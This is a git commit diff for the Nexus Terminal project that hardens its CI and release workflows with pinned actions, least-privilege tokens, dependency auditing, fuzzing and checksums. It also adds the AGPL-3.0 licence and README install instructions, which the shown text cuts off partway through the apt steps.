Fix hanging when minimised on OSX

Publish nexusterminal to repo.dixon.cx and Homebrew; install instructions

.github/workflows/ci.yml

@@ -5,6 +5,9 @@ on:
         branches: ["**"]
     pull_request:
 
+permissions:
+    contents: read
+
 jobs:
     test:
         name: Test (${{ matrix.os }})
@@ -18,12 +21,30 @@ jobs:
                 shell: bash
                 working-directory: rust
         steps:
-            - uses: actions/checkout@v4
+            - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
+              with:
+                  persist-credentials: false
             - name: Linux dependencies (GUI libs, and sshd for the SSH integration tests)
               if: runner.os == 'Linux'
               run: |
                   sudo apt-get update
-                  sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev openssh-server
+                  sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev openssh-server
             - run: cargo test --locked --workspace
             - run: cargo fmt --all --check
             - run: cargo clippy --locked --workspace --all-targets -- -D warnings
+
+    audit:
+        name: Dependency audit
+        runs-on: ubuntu-22.04
+        defaults:
+            run:
+                working-directory: rust
+        steps:
+            - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
+              with:
+                  persist-credentials: false
+            - run: cargo install cargo-audit --version 0.22.2 --locked
+            # Ignored advisories and their reasons live in rust/.cargo/audit.toml. Yanked crates
+            # fail the build; the fuzz workspace has its own lockfile, so it's audited too.
+            - run: cargo audit --deny yanked
+            - run: cargo audit --deny yanked --file fuzz/Cargo.lock

.github/workflows/fuzz.yml

@@ -0,0 +1,35 @@
+name: Fuzz
+
+on:
+    schedule:
+        - cron: "17 3 * * *"
+    workflow_dispatch:
+
+permissions:
+    contents: read
+
+jobs:
+    fuzz:
+        name: Fuzz (${{ matrix.target }})
+        runs-on: ubuntu-22.04
+        strategy:
+            fail-fast: false
+            matrix:
+                target: [telnet, irc, vnc, sshconfig, updater]
+        defaults:
+            run:
+                working-directory: rust/fuzz
+        steps:
+            - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
+              with:
+                  persist-credentials: false
+            - run: sudo apt-get update && sudo apt-get install -y libasound2-dev
+            - run: rustup toolchain install nightly --profile minimal
+            - run: cargo +nightly install cargo-fuzz --locked
+            - run: cargo +nightly fuzz run ${{ matrix.target }} -- -max_total_time=120 -rss_limit_mb=2048 -timeout=10
+            - name: Upload crashing inputs
+              if: failure()
+              uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
+              with:
+                  name: fuzz-${{ matrix.target }}
+                  path: rust/fuzz/artifacts

.github/workflows/release-builds.yml

@@ -6,8 +6,10 @@ on:
             - "v*"
     workflow_dispatch:
 
+# Building and testing runs every dependency's build scripts and tests, so those jobs only get a
+# read token. Publishing is a separate job that never runs project or dependency code.
 permissions:
-    contents: write
+    contents: read
 
 jobs:
     build:
@@ -17,7 +19,7 @@ jobs:
             fail-fast: false
             matrix:
                 include:
-                    - { platform: darwin/amd64, runner: macos-13 }
+                    - { platform: darwin/amd64, runner: macos-15-intel }
                     - { platform: darwin/arm64, runner: macos-14 }
                     - { platform: linux/amd64, runner: ubuntu-22.04 }
                     - { platform: linux/arm64, runner: ubuntu-22.04-arm }
@@ -28,9 +30,10 @@ jobs:
                 shell: bash
                 working-directory: rust
         steps:
-            - uses: actions/checkout@v4
+            - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
               with:
                   fetch-depth: 0
+                  persist-credentials: false
 
             - name: Rust toolchain (pinned by rust-toolchain.toml)
               run: rustup show active-toolchain || rustup toolchain install
@@ -39,7 +42,7 @@ jobs:
               if: runner.os == 'Linux'
               run: |
                   sudo apt-get update
-                  sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev zip
+                  sudo apt-get install -y libxkbcommon-dev libgl1-mesa-dev libx11-dev libxcursor-dev libxrandr-dev libxi-dev libwayland-dev libgtk-3-dev libasound2-dev zip
 
             - name: Test
               run: cargo test --locked --workspace
@@ -51,7 +54,7 @@ jobs:
               run: ./release.sh
 
             - name: Upload artefacts
-              uses: actions/upload-artifact@v4
+              uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
               with:
                   name: nexus-terminal-${{ matrix.runner }}
                   path: |
@@ -59,8 +62,26 @@ jobs:
                       build/releases/manifest-*.json
                       build/releases/version-*.txt
 
-            - name: Attach to GitHub Release
+    publish:
+        name: Attach to GitHub Release
+        needs: build
         if: startsWith(github.ref, 'refs/tags/')
-              uses: softprops/action-gh-release@v2
+        runs-on: ubuntu-22.04
+        permissions:
+            contents: write
+        steps:
+            - uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
               with:
-                  files: build/releases/*/NexusTerminal-*.zip
+                  path: artefacts
+            - name: Checksums
+              run: |
+                  find artefacts -name 'NexusTerminal-*.zip' | while read -r f; do
+                      (cd "$(dirname "$f")" && sha256sum "$(basename "$f")")
+                  done > SHA256SUMS
+                  cat SHA256SUMS
+            - uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v2.6.2
+              with:
+                  files: |
+                      artefacts/*/*/NexusTerminal-*.zip
+                      artefacts/*/NexusTerminal-*.zip
+                      SHA256SUMS

LICENSE

@@ -0,0 +1,661 @@
+                    GNU AFFERO GENERAL PUBLIC LICENSE
+                       Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+  A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate.  Many developers of free software are heartened and
+encouraged by the resulting cooperation.  However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+  The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community.  It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server.  Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+  An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals.  This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU Affero General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Remote Network Interaction; Use with the GNU General Public License.
+
+  Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software.  This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time.  Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU Affero General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Affero General Public License for more details.
+
+    You should have received a copy of the GNU Affero General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source.  For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code.  There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+<https://www.gnu.org/licenses/>.

README.md

@@ -1,22 +1,60 @@
 # Nexus Terminal
 
-**A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.**
+**A native desktop client for SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminals — with secure credential handling and a focused, multi-session workflow.**
 
 Nexus Terminal helps you manage many connections at once, keep terminal work organised, and move files with confidence. It is a single Rust application with no webview, so it starts quickly and stays responsive under heavy terminal output.
 
 ## Highlights
 
-- SSH, Telnet, RAW TCP, Serial, VNC, IRC, GitHub and local terminal sessions in one app
+- SSH, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local terminal sessions in one app
 - Tabbed sessions with split panes, pinning and drag-to-reorder
 - SFTP browser with drag-and-drop uploads and a permission-aware directory picker
 - SSH jump hosts, SOCKS5/HTTP proxies, local and remote port forwards, agent forwarding and TOTP auto-fill
 - Serial consoles with full line settings (baud, data bits, parity, stop bits, flow control)
-- Native VNC viewer, optionally tunnelled over SSH
+- Native VNC and RDP viewers; RDP with NLA, certificate pinning, and SOCKS5/HTTP proxy or SSH tunnel routes
 - Disconnected overlay with one-click reconnect, and auto-reconnect with backoff
 - Broadcast input, snippets, trigger rules and terminal search
 - Session recording (asciicast v2) and playback
 - Secure credential storage with the OS keychain first and an encrypted vault fallback
 
+## Install
+
+**macOS** (Homebrew):
+
+```sh
+brew install --cask andydixon/tap/nexusterminal
+```
+
+**Debian, Ubuntu** (22.04 and later):
+
+```sh
+sudo install -d -m 0755 /etc/apt/keyrings
